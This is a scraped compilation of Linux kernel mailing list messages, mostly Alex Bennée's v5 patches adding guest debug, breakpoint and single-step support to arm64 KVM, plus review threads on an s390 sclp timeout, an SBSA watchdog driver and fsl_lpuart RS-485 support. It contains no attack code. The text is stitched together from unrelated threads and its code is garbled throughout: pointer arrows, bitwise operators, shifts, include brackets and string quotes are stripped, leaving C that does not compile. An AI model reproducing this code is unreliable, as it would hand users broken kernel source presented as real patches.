- KVM_GUESTDBG_INJECT_BP: inject BP type exception [x86]
diff --git a/arch/arm/kvm/arm.c b/arch/arm/kvm/arm.c
index 4a274e1..064c105 100644
--- a/arch/arm/kvm/arm.c
+++ b/arch/arm/kvm/arm.c
@@ -302,7 +302,7 @@ void kvm_arch_vcpu_put(struct kvm_vcpu *vcpu)
kvm_arm_set_running_vcpu(NULL);
}
-#define KVM_GUESTDBG_VALID_MASK (KVM_GUESTDBG_ENABLE)
+#define KVM_GUESTDBG_VALID_MASK (KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_USE_SW_BP)
/**
* kvm_arch_vcpu_ioctl_set_guest_debug - set up guest debugging
diff --git a/arch/arm64/kvm/debug.c b/arch/arm64/kvm/debug.c
index faf0e1f..8d1bfa4 100644
--- a/arch/arm64/kvm/debug.c
+++ b/arch/arm64/kvm/debug.c
@@ -73,6 +73,9 @@ void kvm_arm_setup_debug(struct kvm_vcpu *vcpu)
if (trap_debug)
vcpu-arch.mdcr_el2 |= MDCR_EL2_TDA;
+ /* Trap breakpoints? */
+ if (vcpu-guest_debug KVM_GUESTDBG_USE_SW_BP)
+ vcpu-arch.mdcr_el2 |= MDCR_EL2_TDE;
}
void kvm_arm_clear_debug(struct kvm_vcpu *vcpu)
diff --git a/arch/arm64/kvm/handle_exit.c b/arch/arm64/kvm/handle_exit.c
index 524fa25..27f38a9 100644
--- a/arch/arm64/kvm/handle_exit.c
+++ b/arch/arm64/kvm/handle_exit.c
@@ -82,6 +82,40 @@ static int kvm_handle_wfx(struct kvm_vcpu *vcpu, struct
kvm_run *run)
return 1;
}
+/**
+ * kvm_handle_guest_debug - handle a debug exception instruction
+ *
+ * @vcpu: the vcpu pointer
+ * @run: access to the kvm_run structure for results
+ *
+ * We route all debug exceptions through the same handler. If both the
+ * guest and host are using the same debug facilities it will be up to
+ * userspace to re-inject the correct exception for guest delivery.
+ *
+ * @return: 0 (while setting run-exit_reason), -1 for error
+ */
+static int kvm_handle_guest_debug(struct kvm_vcpu *vcpu, struct kvm_run *run)
+{
+ u32 hsr = kvm_vcpu_get_hsr(vcpu);
+ int ret = 0;
+
+ run-exit_reason = KVM_EXIT_DEBUG;
+ run-debug.arch.hsr = hsr;
+
+ switch (hsr ESR_ELx_EC_SHIFT) {
+ case ESR_ELx_EC_BKPT32:
+ case ESR_ELx_EC_BRK64:
+ break;
+ default:
+ kvm_err(%s: un-handled case hsr: %#08x\n,
+ __func__, (unsigned int) hsr);
+ ret = -1;
+ break;
+ }
+
+ return ret;
+}
+
static exit_handle_fn arm_exit_handlers[] = {
[ESR_ELx_EC_WFx]= kvm_handle_wfx,
[ESR_ELx_EC_CP15_32]= kvm_handle_cp15_32,
@@ -96,6 +130,8 @@ static exit_handle_fn arm_exit_handlers[] = {
[ESR_ELx_EC_SYS64] = kvm_handle_sys_reg,
[ESR_ELx_EC_IABT_LOW] = kvm_handle_guest_abort,
[ESR_ELx_EC_DABT_LOW] = kvm_handle_guest_abort,
+ [ESR_ELx_EC_BKPT32] = kvm_handle_guest_debug,
+ [ESR_ELx_EC_BRK64] = kvm_handle_guest_debug,
};
static exit_handle_fn kvm_get_exit_handler(struct
[PATCH v5 08/12] KVM: arm64: re-factor hyp.S debug register code
This is a pre-cursor to sharing the code with the guest debug support. This replaces the big macro that fishes data out of a fixed location with a more general helper macro to restore a set of debug registers. It uses macro substitution so it can be re-used for debug control and value registers. It does however rely on the debug registers being 64 bit aligned (as they happen to be in the hyp ABI). Signed-off-by: Alex Bennée alex.ben...@linaro.org --- v3: - return to the patch series - add save and restore targets - change register use and document v4: - keep original setup/restore names - don't use split u32/u64 structure yet --- arch/arm64/kvm/hyp.S | 519 ++- 1 file changed, 140 insertions(+), 379 deletions(-) diff --git a/arch/arm64/kvm/hyp.S b/arch/arm64/kvm/hyp.S index 74e63d8..9c4897d 100644 --- a/arch/arm64/kvm/hyp.S +++ b/arch/arm64/kvm/hyp.S @@ -228,199 +228,52 @@ stp x24, x25, [x3, #160] .endm -.macro save_debug - // x2: base address for cpu context - // x3: tmp register - - mrs x26, id_aa64dfr0_el1 - ubfxx24, x26, #12, #4 // Extract BRPs - ubfxx25, x26, #20, #4 // Extract WRPs - mov w26, #15 - sub w24, w26, w24 // How many BPs to skip - sub w25, w26, w25 // How many WPs to skip - - add x3, x2, #CPU_SYSREG_OFFSET(DBGBCR0_EL1) - - adr x26, 1f - add x26, x26, x24, lsl #2 - br x26 -1: - mrs x20, dbgbcr15_el1 - mrs x19, dbgbcr14_el1 - mrs x18, dbgbcr13_el1 - mrs x17, dbgbcr12_el1 - mrs x16, dbgbcr11_el1 - mrs x15, dbgbcr10_el1 - mrs x14, dbgbcr9_el1 - mrs x13, dbgbcr8_el1 - mrs x12, dbgbcr7_el1 - mrs x11, dbgbcr6_el1 - mrs x10, dbgbcr5_el1 - mrs x9, dbgbcr4_el1 - mrs x8, dbgbcr3_el1 - mrs x7, dbgbcr2_el1 - mrs x6, dbgbcr1_el1 - mrs x5, dbgbcr0_el1 - - adr x26, 1f - add x26, x26, x24, lsl #2 - br x26 - -1: - str x20, [x3, #(15 * 8)] - str x19, [x3, #(14 * 8)] - str x18, [x3, #(13 * 8)] - str x17, [x3, #(12 * 8)] - str x16, [x3, #(11 * 8)] - str x15, [x3, #(10 * 8)] - str x14, [x3, #(9 * 8)] - str x13, [x3, #(8 * 8)] - str x12, [x3, #(7 * 8)] - str x11, [x3, #(6 * 8)] - str x10, [x3, #(5 * 8)] - str x9, [x3, #(4 * 8)] - str x8, [x3, #(3 * 8)] - str x7, [x3, #(2 * 8)] - str x6, [x3, #(1 * 8)] - str x5, [x3, #(0 * 8)] - - add x3, x2, #CPU_SYSREG_OFFSET(DBGBVR0_EL1) - - adr x26, 1f - add x26, x26, x24, lsl #2 - br x26 -1: - mrs x20, dbgbvr15_el1 - mrs x19, dbgbvr14_el1 - mrs x18, dbgbvr13_el1 - mrs x17, dbgbvr12_el1 - mrs x16, dbgbvr11_el1 - mrs x15, dbgbvr10_el1 - mrs x14, dbgbvr9_el1 - mrs x13, dbgbvr8_el1 - mrs x12, dbgbvr7_el1 - mrs x11, dbgbvr6_el1 - mrs x10, dbgbvr5_el1 - mrs x9, dbgbvr4_el1 - mrs x8, dbgbvr3_el1 - mrs x7, dbgbvr2_el1 - mrs x6, dbgbvr1_el1 - mrs x5, dbgbvr0_el1 - - adr x26, 1f - add x26, x26, x24, lsl #2 - br x26 - -1: - str x20, [x3, #(15 * 8)] - str x19, [x3, #(14 * 8)] - str x18, [x3, #(13 * 8)] - str x17, [x3, #(12 * 8)] - str x16, [x3, #(11 * 8)] - str x15, [x3, #(10 * 8)] - str x14, [x3, #(9 * 8)] - str x13, [x3, #(8 * 8)] - str x12, [x3, #(7 * 8)] - str x11, [x3, #(6 * 8)] - str x10, [x3, #(5 * 8)] - str x9, [x3, #(4 * 8)] - str x8, [x3, #(3 * 8)] - str x7, [x3, #(2 * 8)] - str x6, [x3, #(1 * 8)] - str x5, [x3, #(0 * 8)] - - add x3, x2, #CPU_SYSREG_OFFSET(DBGWCR0_EL1) - - adr x26, 1f - add x26, x26, x25, lsl #2 - br x26 +.macro save_debug type + // x4: pointer to register set + // x5: number of registers to skip + // x6..x22 trashed + + adr x22, 1f + add x22, x22, x5, lsl #2 + br x22 1: - mrs x20, dbgwcr15_el1 - mrs x19, dbgwcr14_el1 - mrs x18, dbgwcr13_el1 - mrs x17, dbgwcr12_el1 - mrs x16, dbgwcr11_el1 - mrs x15, dbgwcr10_el1 - mrs x14, dbgwcr9_el1 - mrs x13, dbgwcr8_el1 - mrs x12, dbgwcr7_el1 - mrs x11, dbgwcr6_el1 - mrs x10, dbgwcr5_el1 - mrs x9, dbgwcr4_el1 - mrs x8, dbgwcr3_el1 - mrs x7, dbgwcr2_el1 - mrs x6, dbgwcr1_el1 - mrs x5, dbgwcr0_el1 - - adr x26, 1f -
[PATCH v5 07/12] KVM: arm64: guest debug, add support for single-step
This adds support for single-stepping the guest. To do this we need to
manipulate the guests PSTATE.SS and MDSCR_EL1.SS bits which we do in the
kvm_arm_setup/clear_debug() so we don't affect the apparent state of the
guest. Additionally while the host is debugging the guest we suppress
the ability of the guest to single-step itself.
Signed-off-by: Alex Bennée alex.ben...@linaro.org
---
v2
- Move pstate/mdscr manipulation into C
- don't export guest_debug to assembly
- add accessor for saved_debug regs
- tweak save/restore of mdscr_el1
v3
- don't save PC in debug information struct
- rename debug_saved_regs-guest_debug_state
- save whole value, only use bits in restore
- add save/restore_guest-debug_regs helper functions
- simplify commit message for clarity
- rm vcpu_debug_saved_reg access fn
v4
- added more comments based on suggestions
- guest_debug_state-guest_debug_preserved
- no point masking restore, we will trap out
v5
- more comments
- don't bother preserving pstate.ss
---
arch/arm/kvm/arm.c| 4 ++-
arch/arm64/include/asm/kvm_host.h | 11
arch/arm64/kvm/debug.c| 58 ---
arch/arm64/kvm/handle_exit.c | 2 ++
4 files changed, 70 insertions(+), 5 deletions(-)
diff --git a/arch/arm/kvm/arm.c b/arch/arm/kvm/arm.c
index 064c105..9b3ed6d 100644
--- a/arch/arm/kvm/arm.c
+++ b/arch/arm/kvm/arm.c
@@ -302,7 +302,9 @@ void kvm_arch_vcpu_put(struct kvm_vcpu *vcpu)
kvm_arm_set_running_vcpu(NULL);
}
-#define KVM_GUESTDBG_VALID_MASK (KVM_GUESTDBG_ENABLE | KVM_GUESTDBG_USE_SW_BP)
+#define KVM_GUESTDBG_VALID_MASK (KVM_GUESTDBG_ENABLE |\
+ KVM_GUESTDBG_USE_SW_BP | \
+ KVM_GUESTDBG_SINGLESTEP)
/**
* kvm_arch_vcpu_ioctl_set_guest_debug - set up guest debugging
diff --git a/arch/arm64/include/asm/kvm_host.h
b/arch/arm64/include/asm/kvm_host.h
index 7cb99b5..e2db6a6 100644
--- a/arch/arm64/include/asm/kvm_host.h
+++ b/arch/arm64/include/asm/kvm_host.h
@@ -123,6 +123,17 @@ struct kvm_vcpu_arch {
* here.
*/
+ /*
+* Guest registers we preserve during guest debugging.
+*
+* These shadow registers are updated by the kvm_handle_sys_reg
+* trap handler if the guest accesses or updates them while we
+* are using guest debug.
+*/
+ struct {
+ u32 mdscr_el1;
+ } guest_debug_preserved;
+
/* Don't run the guest */
bool pause;
diff --git a/arch/arm64/kvm/debug.c b/arch/arm64/kvm/debug.c
index 8d1bfa4..10a6baa 100644
--- a/arch/arm64/kvm/debug.c
+++ b/arch/arm64/kvm/debug.c
@@ -19,11 +19,41 @@
#include linux/kvm_host.h
+#include asm/debug-monitors.h
+#include asm/kvm_asm.h
#include asm/kvm_arm.h
+#include asm/kvm_emulate.h
+
+/* These are the bits of MDSCR_EL1 we may manipulate */
+#define MDSCR_EL1_DEBUG_MASK (DBG_MDSCR_SS | \
+ DBG_MDSCR_KDE | \
+ DBG_MDSCR_MDE)
static DEFINE_PER_CPU(u32, mdcr_el2);
/**
+ * save/restore_guest_debug_regs
+ *
+ * For some debug operations we need to tweak some guest registers. As
+ * a result we need to save the state of those registers before we
+ * make those modifications. This does get confused if the guest
+ * attempts to control single step while being debugged. It will start
+ * working again once it is no longer being debugged by the host.
+ *
+ * Guest access to MDSCR_EL1 is trapped by the hypervisor and handled
+ * after we have restored the preserved value to the main context.
+ */
+static void save_guest_debug_regs(struct kvm_vcpu *vcpu)
+{
+ vcpu-arch.guest_debug_preserved.mdscr_el1 = vcpu_sys_reg(vcpu,
MDSCR_EL1);
+}
+
+static void restore_guest_debug_regs(struct kvm_vcpu *vcpu)
+{
+ vcpu_sys_reg(vcpu, MDSCR_EL1) =
vcpu-arch.guest_debug_preserved.mdscr_el1;
+}
+
+/**
* kvm_arm_init_debug - grab what we need for debug
*
* Currently the sole task of this function is to retrieve the initial
@@ -38,7 +68,6 @@ void kvm_arm_init_debug(void)
__this_cpu_write(mdcr_el2, kvm_call_hyp(__kvm_get_mdcr_el2));
}
-
/**
* kvm_arm_setup_debug - set up debug related stuff
*
@@ -73,12 +102,33 @@ void kvm_arm_setup_debug(struct kvm_vcpu *vcpu)
if (trap_debug)
vcpu-arch.mdcr_el2 |= MDCR_EL2_TDA;
- /* Trap breakpoints? */
- if (vcpu-guest_debug KVM_GUESTDBG_USE_SW_BP)
+ /* Is Guest debugging in effect? */
+ if (vcpu-guest_debug) {
vcpu-arch.mdcr_el2 |= MDCR_EL2_TDE;
+
+ /* Save guest debug state */
+ save_guest_debug_regs(vcpu);
+
+ /*
+* Single Step (ARM ARM D2.12.3 The software step state
+* machine)
+*
+* If we are doing Single Step we need to manipulate
+* MDSCR_EL1.SS and PSTATE.SS. If not we need to
+
[PATCH v5 04/12] KVM: arm: guest debug, add stub KVM_SET_GUEST_DEBUG ioctl
This commit adds a stub function to support the KVM_SET_GUEST_DEBUG
ioctl. Any unsupported flag will return -EINVAL. For now, only
KVM_GUESTDBG_ENABLE is supported, although it won't have any effects.
Signed-off-by: Alex Bennée alex.ben...@linaro.org.
Reviewed-by: Christoffer Dall christoffer.d...@linaro.org
---
v2
- simplified form of the ioctl (stuff will go into setup_debug)
v3
- KVM_GUESTDBG_VALID-KVM_GUESTDBG_VALID_MASK
- move mask check to the top of function
- add ioctl doc header
- split capability into separate patch
- tweaked commit wording w.r.t return of -EINVAL
v4
- add r-b-tag
---
Documentation/virtual/kvm/api.txt | 2 +-
arch/arm/kvm/arm.c| 23 ++-
2 files changed, 23 insertions(+), 2 deletions(-)
diff --git a/Documentation/virtual/kvm/api.txt
b/Documentation/virtual/kvm/api.txt
index c34c32d..ba635c7 100644
--- a/Documentation/virtual/kvm/api.txt
+++ b/Documentation/virtual/kvm/api.txt
@@ -2645,7 +2645,7 @@ handled.
4.87 KVM_SET_GUEST_DEBUG
Capability: KVM_CAP_SET_GUEST_DEBUG
-Architectures: x86, s390, ppc
+Architectures: x86, s390, ppc, arm64
Type: vcpu ioctl
Parameters: struct kvm_guest_debug (in)
Returns: 0 on success; -1 on error
diff --git a/arch/arm/kvm/arm.c b/arch/arm/kvm/arm.c
index d9631ec..52a1d4d38 100644
--- a/arch/arm/kvm/arm.c
+++ b/arch/arm/kvm/arm.c
@@ -302,10 +302,31 @@ void kvm_arch_vcpu_put(struct kvm_vcpu *vcpu)
kvm_arm_set_running_vcpu(NULL);
}
+#define KVM_GUESTDBG_VALID_MASK (KVM_GUESTDBG_ENABLE)
+
+/**
+ * kvm_arch_vcpu_ioctl_set_guest_debug - set up guest debugging
+ * @kvm: pointer to the KVM struct
+ * @kvm_guest_debug: the ioctl data buffer
+ *
+ * This sets up and enables the VM for guest debugging. Userspace
+ * passes in a control flag to enable different debug types and
+ * potentially other architecture specific information in the rest of
+ * the structure.
+ */
int kvm_arch_vcpu_ioctl_set_guest_debug(struct kvm_vcpu *vcpu,
struct kvm_guest_debug *dbg)
{
- return -EINVAL;
+ if (dbg-control ~KVM_GUESTDBG_VALID_MASK)
+ return -EINVAL;
+
+ if (dbg-control KVM_GUESTDBG_ENABLE) {
+ vcpu-guest_debug = dbg-control;
+ } else {
+ /* If not enabled clear all flags */
+ vcpu-guest_debug = 0;
+ }
+ return 0;
}
--
2.4.1
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
[PATCH v5 10/12] KVM: arm64: guest debug, HW assisted debug support
This adds support for userspace to control the HW debug registers for
guest debug. In the debug ioctl we copy the IMPDEF defined number of
registers into a new register set called host_debug_state. There is now
a new vcpu parameter called debug_ptr which selects which register set
is to copied into the real registers when world switch occurs.
I've moved some helper functions into the hw_breakpoint.h header for
re-use.
As with single step we need to tweak the guest registers to enable the
exceptions so we need to save and restore those bits.
Two new capabilities have been added to the KVM_EXTENSION ioctl to allow
userspace to query the number of hardware break and watch points
available on the host hardware.
Signed-off-by: Alex Bennée alex.ben...@linaro.org
---
v2
- switched to C setup
- replace host debug registers directly into context
- minor tweak to api docs
- setup right register for debug
- add FAR_EL2 to debug exit structure
- add support for trapping debug register access
v3
- remove stray trace statement
- fix spacing around operators (various)
- clean-up usage of trap_debug
- introduce debug_ptr, replace excessive memcpy stuff
- don't use memcpy in ioctl, just assign
- update cap ioctl documentation
- reword a number comments
- rename host_debug_state-external_debug_state
v4
- use the new u32/u64 split debug_ptr approach
- fix some wording/comments
v5
- don't set MDSCR_EL1.KDE (not needed)
---
Documentation/virtual/kvm/api.txt | 7 ++-
arch/arm/kvm/arm.c | 7 +++
arch/arm64/include/asm/hw_breakpoint.h | 12 +++
arch/arm64/include/asm/kvm_host.h | 3 ++-
arch/arm64/include/uapi/asm/kvm.h | 2 +-
arch/arm64/kernel/hw_breakpoint.c | 12 ---
arch/arm64/kvm/debug.c | 37 +-
arch/arm64/kvm/handle_exit.c | 6 ++
arch/arm64/kvm/reset.c | 12 +++
include/uapi/linux/kvm.h | 2 ++
10 files changed, 80 insertions(+), 20 deletions(-)
diff --git a/Documentation/virtual/kvm/api.txt
b/Documentation/virtual/kvm/api.txt
index 33c8143..ada57df 100644
--- a/Documentation/virtual/kvm/api.txt
+++ b/Documentation/virtual/kvm/api.txt
@@ -2668,7 +2668,7 @@ The top 16 bits of the control field are architecture
specific control
flags which can include the following:
- KVM_GUESTDBG_USE_SW_BP: using software breakpoints [x86, arm64]
- - KVM_GUESTDBG_USE_HW_BP: using hardware breakpoints [x86, s390]
+ - KVM_GUESTDBG_USE_HW_BP: using hardware breakpoints [x86, s390, arm64]
- KVM_GUESTDBG_INJECT_DB: inject DB type exception [x86]
- KVM_GUESTDBG_INJECT_BP: inject BP type exception [x86]
- KVM_GUESTDBG_EXIT_PENDING: trigger an immediate guest exit [s390]
@@ -2683,6 +2683,11 @@ updated to the correct (supplied) values.
The second part of the structure is architecture specific and
typically contains a set of debug registers.
+For arm64 the number of debug registers is implementation defined and
+can be determined by querying the KVM_CAP_GUEST_DEBUG_HW_BPS and
+KVM_CAP_GUEST_DEBUG_HW_WPS capabilities which return a positive number
+indicating the number of supported registers.
+
When debug events exit the main run loop with the reason
KVM_EXIT_DEBUG with the kvm_debug_exit_arch part of the kvm_run
structure containing architecture specific debug information.
diff --git a/arch/arm/kvm/arm.c b/arch/arm/kvm/arm.c
index 0d17c7b..6df47c1 100644
--- a/arch/arm/kvm/arm.c
+++ b/arch/arm/kvm/arm.c
@@ -307,6 +307,7 @@ void kvm_arch_vcpu_put(struct kvm_vcpu *vcpu)
#define KVM_GUESTDBG_VALID_MASK (KVM_GUESTDBG_ENABLE |\
KVM_GUESTDBG_USE_SW_BP | \
+ KVM_GUESTDBG_USE_HW_BP | \
KVM_GUESTDBG_SINGLESTEP)
/**
@@ -327,6 +328,12 @@ int kvm_arch_vcpu_ioctl_set_guest_debug(struct kvm_vcpu
*vcpu,
if (dbg-control KVM_GUESTDBG_ENABLE) {
vcpu-guest_debug = dbg-control;
+
+ /* Hardware assisted Break and Watch points */
+ if (vcpu-guest_debug KVM_GUESTDBG_USE_HW_BP) {
+ vcpu-arch.external_debug_state = dbg-arch;
+ }
+
} else {
/* If not enabled clear all flags */
vcpu-guest_debug = 0;
diff --git a/arch/arm64/include/asm/hw_breakpoint.h
b/arch/arm64/include/asm/hw_breakpoint.h
index 52b484b..c450552 100644
--- a/arch/arm64/include/asm/hw_breakpoint.h
+++ b/arch/arm64/include/asm/hw_breakpoint.h
@@ -130,6 +130,18 @@ static inline void ptrace_hw_copy_thread(struct
task_struct *task)
}
#endif
+/* Determine number of BRP registers available. */
+static inline int get_num_brps(void)
+{
+ return ((read_cpuid(ID_AA64DFR0_EL1) 12) 0xf) + 1;
+}
+
+/* Determine number of WRP registers available. */
+static inline int get_num_wrps(void)
+{
+ return
Re: [PATCH RFC] s390/sclp: pass timeout as HZ independent value
On Fri, 29 May 2015, Heiko Carstens wrote: On Wed, May 27, 2015 at 07:04:43PM +0200, Nicholas Mc Guire wrote: schedule_timeout takes a timeout in jiffies but the code currently is passing in a constant SDIAS_SLEEP_TICKS which sounds like it should be in jiffies but it is actually not and thus makes this timeout HZ dependent, to fix this it is passed through msecs_to_jiffies(). patch was not even compile tested as s390 toolchain from kernel.org failed for me (on a debian wheezy x86_64) with: cc1: error: unrecognized command line option '-mtune=zEC12' Patch is against 4.0-rc5 (localversion-next is -next-20150527) Signed-off-by: Nicholas Mc Guire hof...@osadl.org --- As there is no documentation of the intended timeout it might be wrong to convert it with msecs_to_jiffies() since the effective timeout is at least a factor 10 smaller than it is now - so someone that knows this driver needs to check on the actual value - but in any case it needs to be passed in a HZ independent way. Yes, the orginal code seems to be broken. Since I've no idea what the intended timeout value should be, let's simply ask Michael, who wrote this code eight years ago ;) While these lines get touched anyway, it would make sense to use schedule_timeout_interruptible() instead, and get rid of set_current_state(). Well that is not really equivalent schedule_timeout_interruptible() is doing __set_current_state not set_current_state so that would drop the mb() and no WRITE_ONCE() thx! hofrat -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] fixup! dmaengine: pxa_dma: add debug information
On Fri, 2015-05-29 at 11:29 +0200, robert.jarz...@free.fr wrote: - Mail original - De: Vinod Koul vinod.k...@intel.com On Wed, May 27, 2015 at 11:23:40PM +0200, Robert Jarzmik wrote: This fixes the following error: [] And with a a bit closer look check this commit, especially the date : commit 0bac33653b06a5f80a5c04e275eb33db9493b85a Author: Joe Perches j...@perches.com Date: Sat May 23 12:00:38 2015 +1000 fs/seq_file: convert int seq_vprint/seq_printf/etc... returns to void Hello Robert. The return value of that dbg_show_requester_chan function was incorrect and the increment of pos was an example of why the seq_printf return value was changed to void. It was a pretty common error and easy to understand given the expectation that seq_printf should work like printf. It's a pity it bit you. but this type of patch collision should be a bit more difficult to reoccur in the future. cheers, Joe -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v3 5/6] Watchdog: introduce ARM SBSA watchdog driver
Hi Timur,
On 27 May 2015 at 00:50, Timur Tabi ti...@codeaurora.org wrote:
On 05/25/2015 05:03 AM, fu@linaro.org wrote:
+/*
+ * help functions for accessing 32bit registers of SBSA Generic Watchdog
+ */
+static void sbsa_gwdt_cf_write(unsigned int reg, u32 val,
+ struct watchdog_device *wdd)
+{
+ struct sbsa_gwdt *gwdt = to_sbsa_gwdt(wdd);
+
+ writel_relaxed(val, gwdt-control_base + reg);
+}
+
+static void sbsa_gwdt_rf_write(unsigned int reg, u32 val,
+ struct watchdog_device *wdd)
+{
+ struct sbsa_gwdt *gwdt = to_sbsa_gwdt(wdd);
+
+ writel_relaxed(val, gwdt-refresh_base + reg);
+}
+
+static u32 sbsa_gwdt_cf_read(unsigned int reg, struct watchdog_device
*wdd)
+{
+ struct sbsa_gwdt *gwdt = to_sbsa_gwdt(wdd);
+
+ return readl_relaxed(gwdt-control_base + reg);
+}
I don't understand the value of these functions. You're just adding
overhead to each read and write by dereferencing wdd every time. I would
get rid of them and just call readl_relaxed() and writel_relaxed() directly.
yes, that makes sense, sometimes , I also feel these functions are a
little redundant,
let me see if I can improve it.
+/*
+ * help functions for accessing 64bit WCV register
+ */
+static u64 sbsa_gwdt_get_wcv(struct watchdog_device *wdd)
+{
+ u32 wcv_lo, wcv_hi;
+
+ do {
+ wcv_hi = sbsa_gwdt_cf_read(SBSA_GWDT_WCV_HI, wdd);
+ wcv_lo = sbsa_gwdt_cf_read(SBSA_GWDT_WCV_LO, wdd);
+ } while (wcv_hi != sbsa_gwdt_cf_read(SBSA_GWDT_WCV_HI, wdd));
Please add a comment indicating that you're trying to read WCV atomically.
OK , that makes sense
+
+ return (((u64)wcv_hi 32) | wcv_lo);
+}
How about defining this macro:
#define make64(high, low) (((u64)(high) 32) | (low))
and using it instead? That makes the code easier to read.
good idea, but it's just used once, not sure if it's worthy
Actually, I have seen some macro in some driver, but not in kernel header file.
+
+static void sbsa_gwdt_set_wcv(struct watchdog_device *wdd, u64 value)
+{
+ u32 wcv_lo, wcv_hi;
+
+ wcv_lo = value U32_MAX;
+ wcv_hi = (value 32) U32_MAX;
Use upper_32_bits() and lower_32_bits() instead.
cool, thanks , fixed it
+
+ sbsa_gwdt_cf_write(SBSA_GWDT_WCV_HI, wcv_hi, wdd);
+ sbsa_gwdt_cf_write(SBSA_GWDT_WCV_LO, wcv_lo, wdd);
+}
+
+static void reload_timeout_to_wcv(struct watchdog_device *wdd)
This should be sbsa_gwdt_reload_timeout_to_wcv()
+{
+ struct sbsa_gwdt *gwdt = to_sbsa_gwdt(wdd);
+ u64 wcv;
+
+ wcv = arch_counter_get_cntvct() +
+ (u64)(wdd-timeout - wdd-pretimeout) * gwdt-clk;
+
+ sbsa_gwdt_set_wcv(wdd, wcv);
Shouldn't you program WCV and WOR together?
why? WOR just for pretimeout in this driver.
+static int sbsa_gwdt_set_pretimeout(struct watchdog_device *wdd,
+ unsigned int pretimeout)
+{
+ struct sbsa_gwdt *gwdt = to_sbsa_gwdt(wdd);
+ u32 wor;
+
+ wdd-pretimeout = pretimeout;
+ sbsa_gwdt_update_limits(wdd);
+
+ if (!pretimeout)
+ /* gives sbsa_gwdt_start a chance to setup timeout */
+ wor = gwdt-clk;
+ else
+ wor = pretimeout * gwdt-clk;
+
+ /* refresh the WOR, that will cause an explicit watchdog refresh
*/
+ sbsa_gwdt_cf_write(SBSA_GWDT_WOR, wor, wdd);
Why not just ping the watchdog explicitely?
we just setup WOR, but we don't need to load pretimeout to WCV now, right ?
+static irqreturn_t sbsa_gwdt_interrupt(int irq, void *dev_id)
+{
+ struct sbsa_gwdt *gwdt = (struct sbsa_gwdt *)dev_id;
+ struct watchdog_device *wdd = gwdt-wdd;
+ u32 status;
+
+ status = sbsa_gwdt_cf_read(SBSA_GWDT_WCS, wdd);
+
+ if (status SBSA_GWDT_WCS_WS0)
This should always be true. Instead of reading WCS, I think you should just
panic().
I thinks I need to confirm it , in case this has been cleaned.
+static int sbsa_gwdt_probe(struct platform_device *pdev)
+{
+ struct device *dev = pdev-dev;
+ struct sbsa_gwdt *gwdt;
+ struct watchdog_device *wdd;
+ struct resource *res;
+ void *rf_base, *cf_base;
+ int irq;
+ u32 clk, status;
+ int ret = 0;
+ u64 first_period_max = U64_MAX;
+
+ /*
+* Get the frequency of system counter from
+* the cp15 interface of ARM Generic timer
+*/
+ clk = arch_timer_get_cntfrq();
+ if (!clk) {
You have
depends on ARM_ARCH_TIMER
in your Kconfig, so you don't need to check the return of
arch_timer_get_cntfrq(). It can never be zero.
Also, I would not use the variable name 'clk', because that's usually used
for a struct clk object. I would call this freq instead.
yes, I have fixed it .
--
Qualcomm Innovation
Re: [PATCH 3/3] tty: serial: fsl_lpuart: Add support for RS-485
On Fri, 29 May 2015 13:35:54 +0530, Bhuvanchandra DV wrote:
Enable Vybrid's build-in support for RS-485 auto RTS for
controlling line direction of RS-485 transceiver driver.
Signed-off-by: Bhuvanchandra DV bhuvanchandra...@toradex.com
---
drivers/tty/serial/fsl_lpuart.c | 60
+
1 file changed, 60 insertions(+)
diff --git a/drivers/tty/serial/fsl_lpuart.c b/drivers/tty/serial/fsl_lpuart.c
index 357f623..c553b14 100644
--- a/drivers/tty/serial/fsl_lpuart.c
+++ b/drivers/tty/serial/fsl_lpuart.c
@@ -820,6 +820,50 @@ static unsigned int lpuart32_tx_empty(struct uart_port
*port)
TIOCSER_TEMT : 0;
}
+static int lpuart_config_rs485(struct uart_port *port,
+ struct serial_rs485 *rs485)
+{
+ struct lpuart_port *sport = container_of(port,
+ struct lpuart_port, port);
+ u8 modem = readb(sport-port.membase + UARTMODEM)
+ ~(UARTMODEM_TXRTSPOL | UARTMODEM_TXRTSE);
Please put empty line between variables and code.
+ writeb(modem, sport-port.membase + UARTMODEM);
+
+ if (rs485-flags SER_RS485_ENABLED) {
+ /* Enable auto RS-485 RTS mode */
+ modem |= UARTMODEM_TXRTSE;
+
+ /*
+ * RTS needs to be logic HIGH either during transer _or_ after
+ * transfer, other variants are not supported by the hardware.
+ */
Indentation is off here. '*' should be aligned.
+ if (!(rs485-flags (SER_RS485_RTS_ON_SEND |
+ SER_RS485_RTS_AFTER_SEND)))
and here - things should be aligned on the containing bracket (SER_
under SER_ here).
+ rs485-flags |= SER_RS485_RTS_ON_SEND;
+
+ if (rs485-flags SER_RS485_RTS_ON_SEND
+ rs485-flags SER_RS485_RTS_AFTER_SEND)
and here - same bracket rule (rs485- under rs485-)
+ rs485-flags = ~SER_RS485_RTS_AFTER_SEND;
+
+ /*
+ * The hardware defaults to RTS logic HIGH while transfer.
+ * Switch polarity in case RTS shall be logic HIGH
+ * after transfer.
+ * Note: UART is assumed to be active high.
+ */
+ if (rs485-flags SER_RS485_RTS_ON_SEND)
+ modem = ~UARTMODEM_TXRTSPOL;
UARTMODEM_TXRTSPOL was already clear when you read modem.
+ else if (rs485-flags SER_RS485_RTS_AFTER_SEND)
+ modem |= UARTMODEM_TXRTSPOL;
+ }
+
+ /* Store the new configuration */
+ sport-port.rs485 = *rs485;
+
+ writeb(modem, sport-port.membase + UARTMODEM);
+ return 0;
+}
+
static unsigned int lpuart_get_mctrl(struct uart_port *port)
{
return TIOCM_CAR | TIOCM_CTS | TIOCM_DSR;
[...]
@@ -1802,6 +1854,14 @@ static int lpuart_probe(struct platform_device *pdev)
dev_info(sport-port.dev, DMA rx channel request failed,
operating without rx DMA\n);
+ if (of_property_read_bool(np, linux,rs485-enabled-at-boot-time)) {
+ sport-port.rs485.flags |= SER_RS485_ENABLED;
+ sport-port.rs485.flags |= SER_RS485_RTS_ON_SEND;
